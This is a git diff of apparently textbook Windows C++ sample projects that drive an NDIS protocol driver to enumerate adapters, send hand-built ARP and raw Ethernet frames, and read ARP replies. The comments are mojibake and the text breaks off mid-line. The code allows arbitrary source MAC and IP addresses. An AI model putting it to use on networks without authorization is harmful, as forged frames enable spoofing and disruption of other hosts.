Communication/\347\254\2549\347\253\240/EnumeHosts/EnumeHosts.sln" new file mode 100644 index 0000000..b28cfff --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/EnumeHosts.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumeHosts", "EnumeHosts.vcproj", "{26FAD90F-6BE7-4ADF-8352-0D762F4406B1}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {26FAD90F-6BE7-4ADF-8352-0D762F4406B1}.Debug|Win32.ActiveCfg = Debug|Win32 + {26FAD90F-6BE7-4ADF-8352-0D762F4406B1}.Debug|Win32.Build.0 = Debug|Win32 + {26FAD90F-6BE7-4ADF-8352-0D762F4406B1}.Release|Win32.ActiveCfg = Release|Win32 + {26FAD90F-6BE7-4ADF-8352-0D762F4406B1}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/EnumeHosts.suo" "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/EnumeHosts.suo" new file mode 100644 index 0000000..17282f0 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/EnumeHosts.suo" differ diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/EnumeHosts.vcproj" "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/EnumeHosts.vcproj" new file mode 100644 index 0000000..d6520db --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/EnumeHosts.vcproj" @@ -0,0 +1,292 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/ProtoPacket.cpp" "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/ProtoPacket.cpp" new file mode 100644 index 0000000..f275388 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/ProtoPacket.cpp" @@ -0,0 +1,117 @@ +//////////////////////////////////////////// +// ProtoPacket.cppÎļþ + +#include +#include +#include +#include "protoutils.h" +#include "ProtoPacket.h" + +CArpPacket::CArpPacket(CAdapter *pAdapter):m_pAdapter(pAdapter) +{ + // ÉèÖùýÂËÀàÐÍ + m_pAdapter->SetFilter( // NDIS_PACKET_TYPE_PROMISCUOUS| + NDIS_PACKET_TYPE_DIRECTED | + NDIS_PACKET_TYPE_MULTICAST | NDIS_PACKET_TYPE_BROADCAST); + // ³õʼ»¯ÓÃÓÚÒì²½·¢ËͺͽÓÊÕÊý¾ÝµÄÖصþ½á¹¹ + memset(&m_olRead, 0, sizeof(m_olRead)); + m_olRead.hEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL); + memset(&m_olWrite, 0, sizeof(m_olWrite)); + m_olWrite.hEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL); +} + +CArpPacket::~CArpPacket() +{ + ::CloseHandle(m_olRead.hEvent); + ::CloseHandle(m_olWrite.hEvent); +} + +BOOL CArpPacket::SendPacket(u_char *pdEtherAddr, u_char *psEtherAddr, + int nOpcode, u_char *pdMac, DWORD dIPAddr, u_char *psMac, DWORD sIPAddr) +{ + // ·¢ËÍÕ껺³åÇø + u_char ucFrame[ARPFRAME_SIZE]; + + // ÉèÖÃEthernetÍ· + + ETHeader eh = { 0 }; + memcpy(eh.dhost, pdEtherAddr, 6); + memcpy(eh.shost, psEtherAddr, 6); + eh.type = ::htons(ETHERTYPE_ARP); + memcpy(ucFrame, &eh, sizeof(eh)); + + // ÉèÖÃArpÍ· + ARPHeader ah = { 0 }; + + ah.hrd = htons(ARPHRD_ETHER); + ah.eth_type = htons(ETHERTYPE_IP); + ah.maclen = 6; + ah.iplen = 4; + ah.opcode = htons(nOpcode); + + memcpy(ah.smac, psMac, 6); + memcpy(ah.saddr, &sIPAddr, 4); + memcpy(ah.dmac, pdMac, 6); + memcpy(ah.daddr, &dIPAddr, 4); + + + memcpy(&ucFrame[sizeof(ETHeader)], &ah, sizeof(ah)); + + // ·¢ËÍ + if(m_pAdapter->SendData(ucFrame, sizeof(ETHeader)+ sizeof(ARPHeader), &m_olWrite) == -1) + { + if(::GetLastError() == ERROR_IO_PENDING) + { + int nRet = ::WaitForSingleObject(m_olWrite.hEvent, 1000*60); + if(nRet == WAIT_FAILED || nRet == WAIT_TIMEOUT) + return FALSE; + } + } + return TRUE; +} + +PARPHeader CArpPacket::WaitReply(DWORD dwMillionSec) +{ + PETHeader pEtherh = (PETHeader)m_ucFrame; + PARPHeader pArph = NULL; + int nRecvLen = sizeof(ETHeader)+ sizeof(ARPHeader); + + // µÈ´ý½ÓÊÕARPÏìÓ¦ + DWORD dwTick = ::GetTickCount(); + DWORD dwOldTick = dwTick; + while(TRUE) + { + if(m_pAdapter->RecieveData(m_ucFrame, nRecvLen, &m_olRead) == -1) + { + if(::GetLastError() == ERROR_IO_PENDING) + { + int nRet = ::WaitForSingleObject(m_olRead.hEvent, dwMillionSec); + if(nRet == WAIT_FAILED || nRet == WAIT_TIMEOUT) + break; + } + else + { + break; + } + } + if(pEtherh->type == ::htons(ETHERTYPE_ARP)) + { + PARPHeader pTmpHdr = (PARPHeader)(pEtherh + 1); + if(pTmpHdr->opcode == ::htons(ARPOP_REPLY)) + { + // ½ÓÊÕµ½ARPÏìÓ¦£¬·µ»Ø + pArph = pTmpHdr; + break; + } + } + + dwOldTick = dwTick; + dwTick = ::GetTickCount(); + if(dwTick - dwOldTick >= dwMillionSec) // ³¬Ê±£¬·µ»Ø + break; + else + dwMillionSec = dwMillionSec - (dwTick - dwOldTick); + } + + return pArph; +} diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/ProtoPacket.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/ProtoPacket.h" new file mode 100644 index 0000000..2d588a4 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/ProtoPacket.h" @@ -0,0 +1,28 @@ +//////////////////////////////////////////////// +// ProtoPacket.hÎļþ + +#ifndef __PROTOPACKET_H__ +#define __PROTOPACKET_H__ + +#include "../common/protoinfo.h" + +#define ARPFRAME_SIZE 100 +class CArpPacket +{ +public: + CArpPacket(CAdapter *pAdapter); + ~CArpPacket(); + // ·¢ËÍARP·â°ü + BOOL SendPacket(u_char *pdEtherAddr, u_char *psEtherAddr, + int nOpcode, u_char *pdMac, DWORD dIPAddr, u_char *psMac, DWORD sIPAddr); + // µÈ´ýARPÏìÓ¦ + PARPHeader WaitReply(DWORD dwMillionSec = 1000*2); + +protected: + CAdapter *m_pAdapter; + u_char m_ucFrame[ARPFRAME_SIZE]; + OVERLAPPED m_olRead; + OVERLAPPED m_olWrite; +}; + +#endif // __PROTOPACKET_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/_desktop.ini" "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/nuiouser.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/nuiouser.h" new file mode 100644 index 0000000..90fb62a --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/nuiouser.h" @@ -0,0 +1,36 @@ +// nuiouser.hÎļþ +// ·ÃÎÊProtoDrvÇý¶¯ÐèÒªµÄ³£Á¿ºÍÀàÐÍ£¬Óû§³ÌÐò±ØÐë°üº¬ + + +//#include "ntddndis.h" + + +#ifndef __NUIOUSER__H +#define __NUIOUSER__H + +//#include + + + +#define MAX_LINK_NAME_LENGTH 124 + +typedef struct _PROTOCOL_OID_DATA // ÉèÖúͻñÈ¡ÊÊÅäÆ÷OIDÐÅÏ¢ËùÐèµÄ½á¹¹ +{ + + ULONG Oid; + ULONG Length; + UCHAR Data[1]; + +} PROTOCOL_OID_DATA, *PPROTOCOL_OID_DATA; + + +#define FILE_DEVICE_PROTOCOL 0x8000 + +// 4¸öIOCTLµÄ¹¦ÄÜ·Ö±ðÊÇ£ºÉèÖÃÊÊÅäÆ÷µÄOIDÐÅÏ¢£¬»ñÈ¡ÊÊÅäÆ÷µÄOIDÐÅÏ¢£¬ÖØÖÃÊÊÅäÆ÷£¬Ã¶¾Ù°ó¶¨µÄÊÊÅäÆ÷ +#define IOCTL_PROTOCOL_SET_OID CTL_CODE(FILE_DEVICE_PROTOCOL, 0 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_PROTOCOL_QUERY_OID CTL_CODE(FILE_DEVICE_PROTOCOL, 1 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_PROTOCOL_RESET CTL_CODE(FILE_DEVICE_PROTOCOL, 2 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_ENUM_ADAPTERS CTL_CODE(FILE_DEVICE_PROTOCOL, 3 , METHOD_BUFFERED, FILE_ANY_ACCESS) + + +#endif // __NUIOUSER__H \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/protoutils.cpp" "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/protoutils.cpp" new file mode 100644 index 0000000..6846f06 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/protoutils.cpp" @@ -0,0 +1,218 @@ +//////////////////////////////////// +// protoutils.cppÎļþ + + +#include +#include + +#include + +#include + +#include + +#include "protoutils.h" + + +BOOL ProtoStartService() +{ + BOOL bRet = FALSE; + SC_HANDLE hSCM = NULL, hService = NULL; + char szLinkName[] = "slNdisProt"; + + // ´ò¿ªSCM¹ÜÀíÆ÷ + hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if(hSCM != NULL) + { + hService = ::OpenService(hSCM, szLinkName, SERVICE_ALL_ACCESS); + if(hService != NULL) + { + if(!::StartService(hService, 0, NULL)) + { + int nError = ::GetLastError(); + if(nError == ERROR_SERVICE_ALREADY_RUNNING) + { + bRet = TRUE; + } + } + else + { + bRet = TRUE; + } + } + } + + if(hService != NULL) + ::CloseServiceHandle(hService); + if(hSCM != NULL) + ::CloseServiceHandle(hSCM); + + if(bRet) + ::Sleep(50); + return bRet; +} + +void ProtoStopService() +{ + SC_HANDLE hSCM = NULL, hService = NULL; + char szLinkName[] = "slNdisProt"; + + // ´ò¿ªSCM¹ÜÀíÆ÷ + hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if(hSCM != NULL) + { + hService = ::OpenService(hSCM, szLinkName, SERVICE_ALL_ACCESS); + if(hService != NULL) + { + // µÈ´ý·þÎñÍêÈ«Í£Ö¹ÔËÐÐ + SERVICE_STATUS ss; + ::ControlService(hService, SERVICE_CONTROL_STOP, &ss); + } + } + + if(hService != NULL) + ::CloseServiceHandle(hService); + if(hSCM != NULL) + ::CloseServiceHandle(hSCM); +} + +HANDLE ProtoOpenControlDevice() +{ + // ´ò¿ªÇý¶¯³ÌÐòËù¿ØÖÆÉ豸µÄ¾ä±ú + HANDLE hFile = ::CreateFile( + _T("\\\\.\\slNdisProt"), + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + + return hFile; +} + +BOOL CPROTOAdapters::EnumAdapters(HANDLE hControlDevice) +{ + DWORD dwBufferLength = sizeof(m_buffer); + BOOL bRet = ::DeviceIoControl(hControlDevice, IOCTL_ENUM_ADAPTERS, + NULL, 0, m_buffer, dwBufferLength, &dwBufferLength, NULL); + if(!bRet) + return FALSE; + + // ±£´æÊÊÅäÆ÷ÊýÁ¿ + m_nAdapters = (ULONG)((ULONG*)m_buffer)[0]; + + // ÏÂÃæ´Óm_bufferÖлñÈ¡ÊÊÅäÆ÷Ãû³ÆºÍ·ûºÅÁ¬½ÓÃû³Æ + // Ö¸ÏòÉ豸Ãû³Æ + WCHAR *pwsz = (WCHAR *)((ULONG *)m_buffer + 1); + int i = 0; + m_pwszAdapterName[i] = pwsz; + while(*(pwsz++) != NULL) + { + while(*(pwsz++) != NULL) + { ; } + + m_pwszSymbolicLink[i] = pwsz + 12; // pwsz Ö¸Ïò"\DosDevices\Packet_{}", ¼Ó12ÊÇΪÁËÈ¥µô"\DosDevices\" + + while(*(pwsz++) != NULL) + { ; } + + if(++i >= MAX_ADAPTERS) + break; + + m_pwszAdapterName[i] = pwsz; + } + + return TRUE; +} + +////////////////////////////////////////////////////////// + +CAdapter::CAdapter() +{ + m_hAdapter = INVALID_HANDLE_VALUE; +} + +CAdapter::~CAdapter() +{ + CloseAdapter(); +} + +BOOL CAdapter::OpenAdapter(LPCWSTR pwszSymbolicLink, BOOL bAsyn) +{ + char szFile[1024]; + wsprintf(szFile, _T("\\\\.\\%ws"), pwszSymbolicLink); + + // ´ò¿ªµ½Çý¶¯³ÌÐòËù¿ØÖÆÉ豸µÄ¾ä±ú + m_hAdapter = ::CreateFile(szFile, + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + bAsyn ? FILE_ATTRIBUTE_NORMAL|FILE_FLAG_OVERLAPPED : FILE_ATTRIBUTE_NORMAL, + NULL); + int n = ::GetLastError(); + return m_hAdapter != INVALID_HANDLE_VALUE; +} + +void CAdapter::CloseAdapter() +{ + if(m_hAdapter != INVALID_HANDLE_VALUE) + { + ::CloseHandle(m_hAdapter); + m_hAdapter = INVALID_HANDLE_VALUE; + } +} + +BOOL CAdapter::ProtoRequest(PPROTOCOL_OID_DATA pOidData, BOOL bQuery) +{ + if(m_hAdapter == INVALID_HANDLE_VALUE) + return FALSE; + DWORD dw; + BOOL bRet = ::DeviceIoControl( + m_hAdapter, bQuery ? IOCTL_PROTOCOL_QUERY_OID : IOCTL_PROTOCOL_SET_OID, + pOidData, sizeof(PROTOCOL_OID_DATA) -1 + pOidData->Length, + pOidData, sizeof(PROTOCOL_OID_DATA) -1 + pOidData->Length, &dw, NULL); + + return bRet; +} + +BOOL CAdapter::SetFilter(ULONG nFilters) +{ + PPROTOCOL_OID_DATA pOidData = (PPROTOCOL_OID_DATA) + ::GlobalAlloc(GPTR, (sizeof(PROTOCOL_OID_DATA) + sizeof(ULONG) - 1)); + + pOidData->Oid = OID_GEN_CURRENT_PACKET_FILTER; + pOidData->Length = sizeof(ULONG); + *((PULONG)pOidData->Data) = nFilters; + + BOOL bRet = ProtoRequest(pOidData, FALSE); + + ::GlobalFree(pOidData); + return bRet; +} + +BOOL CAdapter::ResetAdapter() +{ + DWORD dw; + BOOL bRet = ::DeviceIoControl(m_hAdapter, IOCTL_PROTOCOL_RESET, NULL, 0, NULL, 0, &dw, NULL); + return bRet; +} + +int CAdapter::RecieveData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped) +{ + DWORD dwRead; + if(::ReadFile(m_hAdapter, pBuffer, nLen, &dwRead, lpOverlapped)) + return dwRead; + else + return -1; +} + +int CAdapter::SendData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped) +{ + DWORD dwWrite; + if(::WriteFile(m_hAdapter, pBuffer, nLen, &dwWrite, lpOverlapped)) + return dwWrite; + else + return -1; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/protoutils.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/protoutils.h" new file mode 100644 index 0000000..9ebd102 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/protoutils.h" @@ -0,0 +1,66 @@ +//////////////////////////////////////////// +// protoutils.hÎļþ + + + + +#ifndef __PROTOUTILS_H__ +#define __PROTOUTILS_H__ + +#include "nuiouser.h" + +////////////////////////////////////// +// º¯Êý¶¨Òå + +BOOL ProtoStartService(); +void ProtoStopService(); +HANDLE ProtoOpenControlDevice(); + + +////////////////////////////////////// +// CPROTOAdaptersÀ࣬ö¾Ù°ó¶¨µÄÊÊÅäÆ÷ + +#define MAX_ADAPTERS 10 + +class CPROTOAdapters +{ +public: + BOOL EnumAdapters(HANDLE hControlDevice); + + int m_nAdapters; + LPWSTR m_pwszAdapterName[MAX_ADAPTERS]; + LPWSTR m_pwszSymbolicLink[MAX_ADAPTERS]; +protected: + char m_buffer[MAX_ADAPTERS*256]; +}; + +//////////////////////////////////////// +// CAdapterÀ࣬¹ÜÀí°ó¶¨µÄÊÊÅäÆ÷ + +class CAdapter +{ +public: + CAdapter(); + ~CAdapter(); + + // ´ò¿ª¡¢¹Ø±ÕÊÊÅäÆ÷ + BOOL OpenAdapter(LPCWSTR pwszSymbolicLink, BOOL bAsyn = FALSE); + void CloseAdapter(); + + // ÉèÖùýÂËÊôÐÔ£¬ÈçNDIS_PACKET_TYPE_PROMISCUOUS¡¢NDIS_PACKET_TYPE_DIRECTEDµÈ + BOOL SetFilter(ULONG nFilters); + + // ½ÓÊÕ¡¢·¢ËÍÊý¾Ý + int RecieveData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped = NULL); + int SendData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped = NULL); + + // ÖØÆôϲãNIC¡¢¹ÜÀíOIDÐÅÏ¢ + BOOL ResetAdapter(); + BOOL ProtoRequest(PPROTOCOL_OID_DATA pOidData, BOOL bQuery); + +protected: + HANDLE m_hAdapter; +}; + + +#endif // __PROTOUTILS_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/resource.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/resource.h" new file mode 100644 index 0000000..be02bee --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/resource.h" @@ -0,0 +1,14 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by EnumeHosts.rc + +// жÔÏóµÄÏÂһЩĬÈÏÖµ +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 101 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/RawEthernet.cpp" "b/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/RawEthernet.cpp" new file mode 100644 index 0000000..73db3fa --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/RawEthernet.cpp" @@ -0,0 +1,65 @@ +////////////////////////////////////////////////////////// +// RawEthernet.cppÎļþ + + +#include +#include +#include +#include +#include "protoutils.h" + +int main() +{ + // Æô¶¯·þÎñ + if(!ProtoStartService()) + { + printf(" ProtoStartService() failed %d \n", ::GetLastError()); + return -1; + } + // ´ò¿ª¿ØÖÆÉ豸¶ÔÏó + HANDLE hControlDevice = ProtoOpenControlDevice(); + if(hControlDevice == INVALID_HANDLE_VALUE) + { + printf(" ProtoOpenControlDevice() failed() %d \n", ::GetLastError()); + ProtoStopService(); + return -1; + } + // ö¾Ù°ó¶¨µÄϲãÊÊÅäÆ÷ + CPROTOAdapters adapters; + if(!adapters.EnumAdapters(hControlDevice)) + { + printf(" Enume adapter failed \n"); + ProtoStopService(); + return -1; + } + + // ´´½¨Ò»¸öԭʼ·â°ü£¨ÖÁÉÙӦΪ16¸ö×Ö½Ú³¤£© + BYTE bytes[] = {0xff,0xff,0xff,0xff,0xff,0xff, // Ä¿µÄMACµØÖ· + 0x00,0x02,0x3e,0x4c,0x49,0xaa, // Ô´MACµØÖ· + 0x08,0x00, // ЭÒé + 0x01,0x02,0x03,0x04,0x05,0x06}; // ͨ³£Êý¾Ý + // ´òÓ¡³öÿ¸öϲãÊÊÅäÆ÷µÄÐÅÏ¢£¬·¢ËÍÊý¾Ý + for(int i=0; i 0) + printf(" Packet sent: %d bytes \n", nSend); + else + printf(" Packet sent failed \n"); + } + + ::CloseHandle(hControlDevice); + ProtoStopService(); + return 0; +} + + + diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/RawEthernet.sln" "b/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/RawEthernet.sln" new file mode 100644 index 0000000..b75c908 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/RawEthernet.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RawEthernet", "RawEthernet.vcproj", "{EC35148F-769A-4D13-8E99-1F5716560026}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EC35148F-769A-4D13-8E99-1F5716560026}.Debug|Win32.ActiveCfg = Debug|Win32 + {EC35148F-769A-4D13-8E99-1F5716560026}.Debug|Win32.Build.0 = Debug|Win32 + {EC35148F-769A-4D13-8E99-1F5716560026}.Release|Win32.ActiveCfg = Release|Win32 + {EC35148F-769A-4D13-8E99-1F5716560026}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/RawEthernet.suo" "b/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/RawEthernet.suo" new file mode 100644 index 0000000..03867c7 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/RawEthernet.suo" differ diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/RawEthernet.vcproj" "b/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/RawEthernet.vcproj" new file mode 100644 index 0000000..5720635 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/RawEthernet.vcproj" @@ -0,0 +1,264 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/_desktop.ini" "b/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/nuiouser.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/nuiouser.h" new file mode 100644 index 0000000..90fb62a --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/nuiouser.h" @@ -0,0 +1,36 @@ +// nuiouser.hÎļþ +// ·ÃÎÊProtoDrvÇý¶¯ÐèÒªµÄ³£Á¿ºÍÀàÐÍ£¬Óû§³ÌÐò±ØÐë°üº¬ + + +//#include "ntddndis.h" + + +#ifndef __NUIOUSER__H +#define __NUIOUSER__H + +//#include + + + +#define MAX_LINK_NAME_LENGTH 124 + +typedef struct _PROTOCOL_OID_DATA // ÉèÖúͻñÈ¡ÊÊÅäÆ÷OIDÐÅÏ¢ËùÐèµÄ½á¹¹ +{ + + ULONG Oid; + ULONG Length; + UCHAR Data[1]; + +} PROTOCOL_OID_DATA, *PPROTOCOL_OID_DATA; + + +#define FILE_DEVICE_PROTOCOL 0x8000 + +// 4¸öIOCTLµÄ¹¦ÄÜ·Ö±ðÊÇ£ºÉèÖÃÊÊÅäÆ÷µÄOIDÐÅÏ¢£¬»ñÈ¡ÊÊÅäÆ÷µÄOIDÐÅÏ¢£¬ÖØÖÃÊÊÅäÆ÷£¬Ã¶¾Ù°ó¶¨µÄÊÊÅäÆ÷ +#define IOCTL_PROTOCOL_SET_OID CTL_CODE(FILE_DEVICE_PROTOCOL, 0 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_PROTOCOL_QUERY_OID CTL_CODE(FILE_DEVICE_PROTOCOL, 1 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_PROTOCOL_RESET CTL_CODE(FILE_DEVICE_PROTOCOL, 2 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_ENUM_ADAPTERS CTL_CODE(FILE_DEVICE_PROTOCOL, 3 , METHOD_BUFFERED, FILE_ANY_ACCESS) + + +#endif // __NUIOUSER__H \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/protoutils.cpp" "b/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/protoutils.cpp" new file mode 100644 index 0000000..0e55f5b --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/RawEthernet/protoutils.cpp" @@ -0,0 +1,217 @@ +//////////////////////////////////// +// protoutils.cppÎļþ + + +#include +#include +#include +#include +#include +#include "protoutils.h" + + +///////////////////////////////////////////////////////////////// +// ¿ØÖƺ¯Êý + +BOOL ProtoStartService() +{ + BOOL bRet = FALSE; + SC_HANDLE hSCM = NULL, hService = NULL; + char szLinkName[] = "slNdisProt"; + + // ´ò¿ªSCM¹ÜÀíÆ÷ + hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if(hSCM != NULL) + { + hService = ::OpenService(hSCM, szLinkName, SERVICE_ALL_ACCESS); + if(hService != NULL) + { + if(!::StartService(hService, 0, NULL)) + { + int nError = ::GetLastError(); + if(nError == ERROR_SERVICE_ALREADY_RUNNING) + { + bRet = TRUE; + } + } + else + { + bRet = TRUE; + } + } + } + + if(hService != NULL) + ::CloseServiceHandle(hService); + if(hSCM != NULL) + ::CloseServiceHandle(hSCM); + + if(bRet) + ::Sleep(50); + return bRet; +} + +void ProtoStopService() +{ + SC_HANDLE hSCM = NULL, hService = NULL; + char szLinkName[] = "slNdisProt"; + + // ´ò¿ªSCM¹ÜÀíÆ÷ + hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if(hSCM != NULL) + { + hService = ::OpenService(hSCM, szLinkName, SERVICE_ALL_ACCESS); + if(hService != NULL) + { + // µÈ´ý·þÎñÍêÈ«Í£Ö¹ÔËÐÐ + SERVICE_STATUS ss; + ::ControlService(hService, SERVICE_CONTROL_STOP, &ss); + } + } + + if(hService != NULL) + ::CloseServiceHandle(hService); + if(hSCM != NULL) + ::CloseServiceHandle(hSCM); +} + +HANDLE ProtoOpenControlDevice() +{ + // ´ò¿ªÇý¶¯³ÌÐòËù¿ØÖÆÉ豸µÄ¾ä±ú + HANDLE hFile = ::CreateFile( + _T("\\\\.\\slNdisProt"), + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + + return hFile; +} + +BOOL CPROTOAdapters::EnumAdapters(HANDLE hControlDevice) +{ + DWORD dwBufferLength = sizeof(m_buffer); + BOOL bRet = ::DeviceIoControl(hControlDevice, IOCTL_ENUM_ADAPTERS, + NULL, 0, m_buffer, dwBufferLength, &dwBufferLength, NULL); + if(!bRet) + return FALSE; + + // ±£´æÊÊÅäÆ÷ÊýÁ¿ + m_nAdapters = (ULONG)((ULONG*)m_buffer)[0]; + + // ÏÂÃæ´Óm_bufferÖлñÈ¡ÊÊÅäÆ÷Ãû³ÆºÍ·ûºÅÁ¬½ÓÃû³Æ + // Ö¸ÏòÉ豸Ãû³Æ + WCHAR *pwsz = (WCHAR *)((ULONG *)m_buffer + 1); + int i = 0; + m_pwszAdapterName[i] = pwsz; + while(*(pwsz++) != NULL) + { + while(*(pwsz++) != NULL) + { ; } + + m_pwszSymbolicLink[i] = pwsz + 12; // pwsz Ö¸Ïò"\DosDevices\Packet_{}", ¼Ó12ÊÇΪÁËÈ¥µô"\DosDevices\" + + while(*(pwsz++) != NULL) + { ; } + + if(++i >= MAX_ADAPTERS) + break; + + m_pwszAdapterName[i] = pwsz; + } + + return TRUE; +} + +////////////////////////////////////////////////////////// + +CAdapter::CAdapter() +{ + m_hAdapter = INVALID_HANDLE_VALUE; +} + +CAdapter::~CAdapter() +{ + CloseAdapter(); +} + +BOOL CAdapter::OpenAdapter(LPCWSTR pwszSymbolicLink, BOOL bAsyn) +{ + char szFile[1024]; + wsprintf(szFile, _T("\\\\.\\%ws"), pwszSymbolicLink); + + // ´ò¿ªµ½Çý¶¯³ÌÐòËù¿ØÖÆÉ豸µÄ¾ä±ú + m_hAdapter = ::CreateFile(szFile, + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + bAsyn ? FILE_ATTRIBUTE_NORMAL|FILE_FLAG_OVERLAPPED : FILE_ATTRIBUTE_NORMAL, + NULL); + int n = 